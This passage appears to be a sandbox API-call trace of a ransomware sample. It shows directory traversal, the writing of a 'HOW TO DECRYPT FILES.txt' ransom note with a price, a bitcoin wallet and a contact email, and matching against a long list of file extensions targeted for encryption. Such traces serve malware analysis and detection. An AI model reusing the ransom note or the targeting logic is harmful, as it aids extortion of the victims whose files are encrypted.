lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7b137f0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xa7b137f0, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xa7b137f0, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x468, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.DirectoryServices.AccountManagement.ni.dll.aux", cAlternateFileName="SYSTEM~1.AUX")) returned 0 [0118.954] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0118.954] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa7b137f0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xa7b137f0, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xa7b137f0, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="c051c5430cbd1580ec57d42e22abfa13", cAlternateFileName="C051C5~1")) returned 0 [0118.954] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0118.954] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8af37dd0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x8af37dd0, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x8af37dd0, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x790078, dwReserved1=0x740073, cFileName="System.Dire5d62f0a2#", cAlternateFileName="SYSTEM~2.DIR")) returned 1 [0118.954] lstrcmpA (lpString1=".", lpString2="System.Dire5d62f0a2#") returned -1 [0118.954] lstrcmpA (lpString1="..", lpString2="System.Dire5d62f0a2#") returned -1 [0118.954] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\*.*") returned="*.*" [0118.954] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\", lpString2="System.Dire5d62f0a2#" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dire5d62f0a2#") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dire5d62f0a2#" [0118.954] lstrlenA (lpString="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dire5d62f0a2#") returned 67 [0118.954] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dire5d62f0a2#\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8af37dd0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x8af37dd0, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x8af37dd0, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0118.957] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0118.957] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8af37dd0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x8af37dd0, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x8af37dd0, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0118.957] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0118.957] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0118.957] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8af37dd0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x8af37dd0, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x8af37dd0, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="4dcde0c1afad3940051d2f1dde4e0069", cAlternateFileName="4DCDE0~1")) returned 1 [0118.957] lstrcmpA (lpString1=".", lpString2="4dcde0c1afad3940051d2f1dde4e0069") returned -1 [0118.957] lstrcmpA (lpString1="..", lpString2="4dcde0c1afad3940051d2f1dde4e0069") returned -1 [0118.957] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dire5d62f0a2#\\*.*") returned="*.*" [0118.957] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dire5d62f0a2#\\", lpString2="4dcde0c1afad3940051d2f1dde4e0069" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dire5d62f0a2#\\4dcde0c1afad3940051d2f1dde4e0069") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dire5d62f0a2#\\4dcde0c1afad3940051d2f1dde4e0069" [0118.957] lstrlenA (lpString="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dire5d62f0a2#\\4dcde0c1afad3940051d2f1dde4e0069") returned 100 [0118.957] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dire5d62f0a2#\\4dcde0c1afad3940051d2f1dde4e0069\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8af37dd0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x8af37dd0, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x8af37dd0, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0118.965] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0118.965] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8af37dd0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x8af37dd0, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x8af37dd0, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0118.965] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0118.965] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0118.965] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8af37dd0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x8af37dd0, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x8af37dd0, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x86e00, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="System.DirectoryServices.Protocols.ni.dll", cAlternateFileName="SYSTEM~1.DLL")) returned 1 [0118.965] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0118.965] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="System.DirectoryServices.Protocols.ni.dll") returned -1 [0118.965] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="System.DirectoryServices.Protocols.ni.dll") returned -1 [0118.965] lstrcmpiA (lpString1="", lpString2="System.DirectoryServices.Protocols.ni.dll") returned -1 [0118.965] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dire5d62f0a2#\\4dcde0c1afad3940051d2f1dde4e0069\\*.*") returned="*.*" [0118.965] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dire5d62f0a2#\\4dcde0c1afad3940051d2f1dde4e0069\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dire5d62f0a2#\\4dcde0c1afad3940051d2f1dde4e0069\\") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dire5d62f0a2#\\4dcde0c1afad3940051d2f1dde4e0069\\" [0118.965] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dire5d62f0a2#\\4dcde0c1afad3940051d2f1dde4e0069\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dire5d62f0a2#\\4dcde0c1afad3940051d2f1dde4e0069\\") returned="" [0118.965] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dire5d62f0a2#\\4dcde0c1afad3940051d2f1dde4e0069\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dire5d62f0a2#\\4dcde0c1afad3940051d2f1dde4e0069\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dire5d62f0a2#\\4dcde0c1afad3940051d2f1dde4e0069\\HOW TO DECRYPT FILES.txt" [0118.966] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dire5d62f0a2#\\4dcde0c1afad3940051d2f1dde4e0069\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.dire5d62f0a2#\\4dcde0c1afad3940051d2f1dde4e0069\\how to decrypt files.txt")) returned 0xffffffff [0118.966] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dire5d62f0a2#\\4dcde0c1afad3940051d2f1dde4e0069\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.dire5d62f0a2#\\4dcde0c1afad3940051d2f1dde4e0069\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0118.967] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0118.967] WriteFile (in: hFile=0x90, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0118.969] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0118.969] CloseHandle (hObject=0x90) returned 1 [0118.969] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dire5d62f0a2#\\4dcde0c1afad3940051d2f1dde4e0069\\", lpString2="System.DirectoryServices.Protocols.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dire5d62f0a2#\\4dcde0c1afad3940051d2f1dde4e0069\\System.DirectoryServices.Protocols.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dire5d62f0a2#\\4dcde0c1afad3940051d2f1dde4e0069\\System.DirectoryServices.Protocols.ni.dll" [0118.970] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dire5d62f0a2#\\4dcde0c1afad3940051d2f1dde4e0069\\System.DirectoryServices.Protocols.ni.dll", pszSpec="*.ems") returned 0 [0118.970] lstrlenA (lpString="*.ems") returned 5 [0118.970] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dire5d62f0a2#\\4dcde0c1afad3940051d2f1dde4e0069\\System.DirectoryServices.Protocols.ni.dll", pszSpec="*.db") returned 0 [0118.970] lstrlenA (lpString="*.db") returned 4 [0118.970] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dire5d62f0a2#\\4dcde0c1afad3940051d2f1dde4e0069\\System.DirectoryServices.Protocols.ni.dll", pszSpec="*.dbf") returned 0 [0118.970] lstrlenA (lpString="*.dbf") returned 5 [0118.970] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dire5d62f0a2#\\4dcde0c1afad3940051d2f1dde4e0069\\System.DirectoryServices.Protocols.ni.dll", pszSpec="*.myox") returned 0 [0118.970] lstrlenA (lpString="*.myox") returned 6 [0118.970] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dire5d62f0a2#\\4dcde0c1afad3940051d2f1dde4e0069\\System.DirectoryServices.Protocols.ni.dll", pszSpec="*.myo") returned 0 [0118.970] lstrlenA (lpString="*.myo") returned 5 [0118.970] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dire5d62f0a2#\\4dcde0c1afad3940051d2f1dde4e0069\\System.DirectoryServices.Protocols.ni.dll", pszSpec="*.qbw") returned 0 [0118.970] lstrlenA (lpString="*.qbw") returned 5 [0118.970] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dire5d62f0a2#\\4dcde0c1afad3940051d2f1dde4e0069\\System.DirectoryServices.Protocols.ni.dll", pszSpec="*.qbb") returned 0 [0118.970] lstrlenA (lpString="*.qbb") returned 5 [0118.970] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dire5d62f0a2#\\4dcde0c1afad3940051d2f1dde4e0069\\System.DirectoryServices.Protocols.ni.dll", pszSpec="*.qbm") returned 0 [0118.970] lstrlenA (lpString="*.qbm") returned 5 [0118.970] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dire5d62f0a2#\\4dcde0c1afad3940051d2f1dde4e0069\\System.DirectoryServices.Protocols.ni.dll", pszSpec="*.qbo") returned 0 [0118.970] lstrlenA (lpString="*.qbo") returned 5 [0118.971] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dire5d62f0a2#\\4dcde0c1afad3940051d2f1dde4e0069\\System.DirectoryServices.Protocols.ni.dll", pszSpec="*.qbx") returned 0 [0118.971] lstrlenA (lpString="*.qbx") returned 5 [0118.971] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dire5d62f0a2#\\4dcde0c1afad3940051d2f1dde4e0069\\System.DirectoryServices.Protocols.ni.dll", pszSpec="*.qba") returned 0 [0118.971] lstrlenA (lpString="*.qba") returned 5 [0118.971] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dire5d62f0a2#\\4dcde0c1afad3940051d2f1dde4e0069\\System.DirectoryServices.Protocols.ni.dll", pszSpec="*.qby") returned 0 [0118.971] lstrlenA (lpString="*.qby") returned 5 [0118.971] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dire5d62f0a2#\\4dcde0c1afad3940051d2f1dde4e0069\\System.DirectoryServices.Protocols.ni.dll", pszSpec="*.qbj") returned 0 [0118.971] lstrlenA (lpString="*.qbj") returned 5 [0118.971] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dire5d62f0a2#\\4dcde0c1afad3940051d2f1dde4e0069\\System.DirectoryServices.Protocols.ni.dll", pszSpec="*.ofx") returned 0 [0118.971] lstrlenA (lpString="*.ofx") returned 5 [0118.971] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dire5d62f0a2#\\4dcde0c1afad3940051d2f1dde4e0069\\System.DirectoryServices.Protocols.ni.dll", pszSpec="*.qif") returned 0 [0118.971] lstrlenA (lpString="*.qif") returned 5 [0118.971] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dire5d62f0a2#\\4dcde0c1afad3940051d2f1dde4e0069\\System.DirectoryServices.Protocols.ni.dll", pszSpec="*.mye") returned 0 [0118.971] lstrlenA (lpString="*.mye") returned 5 [0118.971] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dire5d62f0a2#\\4dcde0c1afad3940051d2f1dde4e0069\\System.DirectoryServices.Protocols.ni.dll", pszSpec="*.mbox") returned 0 [0118.971] lstrlenA (lpString="*.mbox") returned 6 [0118.971] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dire5d62f0a2#\\4dcde0c1afad3940051d2f1dde4e0069\\System.DirectoryServices.Protocols.ni.dll", pszSpec="*.eml") returned 0 [0118.972] lstrlenA (lpString="*.eml") returned 5 [0118.972] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dire5d62f0a2#\\4dcde0c1afad3940051d2f1dde4e0069\\System.DirectoryServices.Protocols.ni.dll", pszSpec="*.pst") returned 0 [0118.972] lstrlenA (lpString="*.pst") returned 5 [0118.972] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dire5d62f0a2#\\4dcde0c1afad3940051d2f1dde4e0069\\System.DirectoryServices.Protocols.ni.dll", pszSpec="*.ost") returned 0 [0118.972] lstrlenA (lpString="*.ost") returned 5 [0118.972] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dire5d62f0a2#\\4dcde0c1afad3940051d2f1dde4e0069\\System.DirectoryServices.Protocols.ni.dll", pszSpec="*.idx") returned 0 [0118.972] lstrlenA (lpString="*.idx") returned 5 [0118.972] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dire5d62f0a2#\\4dcde0c1afad3940051d2f1dde4e0069\\System.DirectoryServices.Protocols.ni.dll", pszSpec="*.dbx") returned 0 [0118.972] lstrlenA (lpString="*.dbx") returned 5 [0118.972] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dire5d62f0a2#\\4dcde0c1afad3940051d2f1dde4e0069\\System.DirectoryServices.Protocols.ni.dll", pszSpec="*.sql") returned 0 [0118.972] lstrlenA (lpString="*.sql") returned 5 [0118.972] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dire5d62f0a2#\\4dcde0c1afad3940051d2f1dde4e0069\\System.DirectoryServices.Protocols.ni.dll", pszSpec="*.mdb") returned 0 [0118.972] lstrlenA (lpString="*.mdb") returned 5 [0118.972] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dire5d62f0a2#\\4dcde0c1afad3940051d2f1dde4e0069\\System.DirectoryServices.Protocols.ni.dll", pszSpec="*.fdb") returned 0 [0118.972] lstrlenA (lpString="*.fdb") returned 5 [0118.973] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dire5d62f0a2#\\4dcde0c1afad3940051d2f1dde4e0069\\System.DirectoryServices.Protocols.ni.dll", pszSpec="*.wab") returned 0 [0118.973] lstrlenA (lpString="*.wab") returned 5 [0118.973] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dire5d62f0a2#\\4dcde0c1afad3940051d2f1dde4e0069\\System.DirectoryServices.Protocols.ni.dll", pszSpec="*.dat") returned 0 [0118.973] lstrlenA (lpString="*.dat") returned 5 [0118.973] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dire5d62f0a2#\\4dcde0c1afad3940051d2f1dde4e0069\\System.DirectoryServices.Protocols.ni.dll", pszSpec="*.txt") returned 0 [0118.973] lstrlenA (lpString="*.txt") returned 5 [0118.973] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dire5d62f0a2#\\4dcde0c1afad3940051d2f1dde4e0069\\System.DirectoryServices.Protocols.ni.dll", pszSpec="*.jpeg") returned 0 [0118.973] lstrlenA (lpString="*.jpeg") returned 6 [0118.973] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dire5d62f0a2#\\4dcde0c1afad3940051d2f1dde4e0069\\System.DirectoryServices.Protocols.ni.dll", pszSpec="*.jpg") returned 0 [0118.973] lstrlenA (lpString="*.jpg") returned 5 [0118.973] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dire5d62f0a2#\\4dcde0c1afad3940051d2f1dde4e0069\\System.DirectoryServices.Protocols.ni.dll", pszSpec="*.png") returned 0 [0118.973] lstrlenA (lpString="*.png") returned 5 [0118.973] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dire5d62f0a2#\\4dcde0c1afad3940051d2f1dde4e0069\\System.DirectoryServices.Protocols.ni.dll", pszSpec="*.php") returned 0 [0118.973] lstrlenA (lpString="*.php") returned 5 [0118.973] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dire5d62f0a2#\\4dcde0c1afad3940051d2f1dde4e0069\\System.DirectoryServices.Protocols.ni.dll", pszSpec="*.cs") returned 0 [0118.973] lstrlenA (lpString="*.cs") returned 4 [0118.973] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dire5d62f0a2#\\4dcde0c1afad3940051d2f1dde4e0069\\System.DirectoryServices.Protocols.ni.dll", pszSpec="*.cpp") returned 0 [0118.974] lstrlenA (lpString="*.cpp") returned 5 [0118.974] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dire5d62f0a2#\\4dcde0c1afad3940051d2f1dde4e0069\\System.DirectoryServices.Protocols.ni.dll", pszSpec="*.rar") returned 0 [0118.974] lstrlenA (lpString="*.rar") returned 5 [0118.974] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dire5d62f0a2#\\4dcde0c1afad3940051d2f1dde4e0069\\System.DirectoryServices.Protocols.ni.dll", pszSpec="*.zip") returned 0 [0118.974] lstrlenA (lpString="*.zip") returned 5 [0118.974] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dire5d62f0a2#\\4dcde0c1afad3940051d2f1dde4e0069\\System.DirectoryServices.Protocols.ni.dll", pszSpec="*.html") returned 0 [0118.974] lstrlenA (lpString="*.html") returned 6 [0118.974] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dire5d62f0a2#\\4dcde0c1afad3940051d2f1dde4e0069\\System.DirectoryServices.Protocols.ni.dll", pszSpec="*.htm") returned 0 [0118.974] lstrlenA (lpString="*.htm") returned 5 [0118.974] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dire5d62f0a2#\\4dcde0c1afad3940051d2f1dde4e0069\\System.DirectoryServices.Protocols.ni.dll", pszSpec="*.xlsx") returned 0 [0118.974] lstrlenA (lpString="*.xlsx") returned 6 [0118.974] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dire5d62f0a2#\\4dcde0c1afad3940051d2f1dde4e0069\\System.DirectoryServices.Protocols.ni.dll", pszSpec="*.xls") returned 0 [0118.974] lstrlenA (lpString="*.xls") returned 5 [0118.974] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dire5d62f0a2#\\4dcde0c1afad3940051d2f1dde4e0069\\System.DirectoryServices.Protocols.ni.dll", pszSpec="*.mp4") returned 0 [0118.974] lstrlenA (lpString="*.mp4") returned 5 [0118.975] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dire5d62f0a2#\\4dcde0c1afad3940051d2f1dde4e0069\\System.DirectoryServices.Protocols.ni.dll", pszSpec="*.ppt") returned 0 [0118.975] lstrlenA (lpString="*.ppt") returned 5 [0118.975] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dire5d62f0a2#\\4dcde0c1afad3940051d2f1dde4e0069\\System.DirectoryServices.Protocols.ni.dll", pszSpec="*.pptx") returned 0 [0118.975] lstrlenA (lpString="*.pptx") returned 6 [0118.975] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dire5d62f0a2#\\4dcde0c1afad3940051d2f1dde4e0069\\System.DirectoryServices.Protocols.ni.dll", pszSpec="*.doc") returned 0 [0118.975] lstrlenA (lpString="*.doc") returned 5 [0118.975] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dire5d62f0a2#\\4dcde0c1afad3940051d2f1dde4e0069\\System.DirectoryServices.Protocols.ni.dll", pszSpec="*.dot") returned 0 [0118.975] lstrlenA (lpString="*.dot") returned 5 [0118.975] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dire5d62f0a2#\\4dcde0c1afad3940051d2f1dde4e0069\\System.DirectoryServices.Protocols.ni.dll", pszSpec="*.docx") returned 0 [0118.975] lstrlenA (lpString="*.docx") returned 6 [0118.975] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dire5d62f0a2#\\4dcde0c1afad3940051d2f1dde4e0069\\System.DirectoryServices.Protocols.ni.dll", pszSpec="*.7z") returned 0 [0118.975] lstrlenA (lpString="*.7z") returned 4 [0118.975] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dire5d62f0a2#\\4dcde0c1afad3940051d2f1dde4e0069\\System.DirectoryServices.Protocols.ni.dll", pszSpec="*.tar") returned 0 [0118.975] lstrlenA (lpString="*.tar") returned 5 [0118.975] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dire5d62f0a2#\\4dcde0c1afad3940051d2f1dde4e0069\\System.DirectoryServices.Protocols.ni.dll", pszSpec="*.bz2") returned 0 [0118.975] lstrlenA (lpString="*.bz2") returned 5 [0118.976] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dire5d62f0a2#\\4dcde0c1afad3940051d2f1dde4e0069\\System.DirectoryServices.Protocols.ni.dll", pszSpec="*.gz") returned 0 [0118.976] lstrlenA (lpString="*.gz") returned 4 [0118.976] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dire5d62f0a2#\\4dcde0c1afad3940051d2f1dde4e0069\\System.DirectoryServices.Protocols.ni.dll", pszSpec="*.mkv") returned 0 [0118.976] lstrlenA (lpString="*.mkv") returned 5 [0118.976] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dire5d62f0a2#\\4dcde0c1afad3940051d2f1dde4e0069\\System.DirectoryServices.Protocols.ni.dll", pszSpec="*.eml") returned 0 [0118.976] lstrlenA (lpString="*.eml") returned 5 [0118.976] PathMatchSpecA 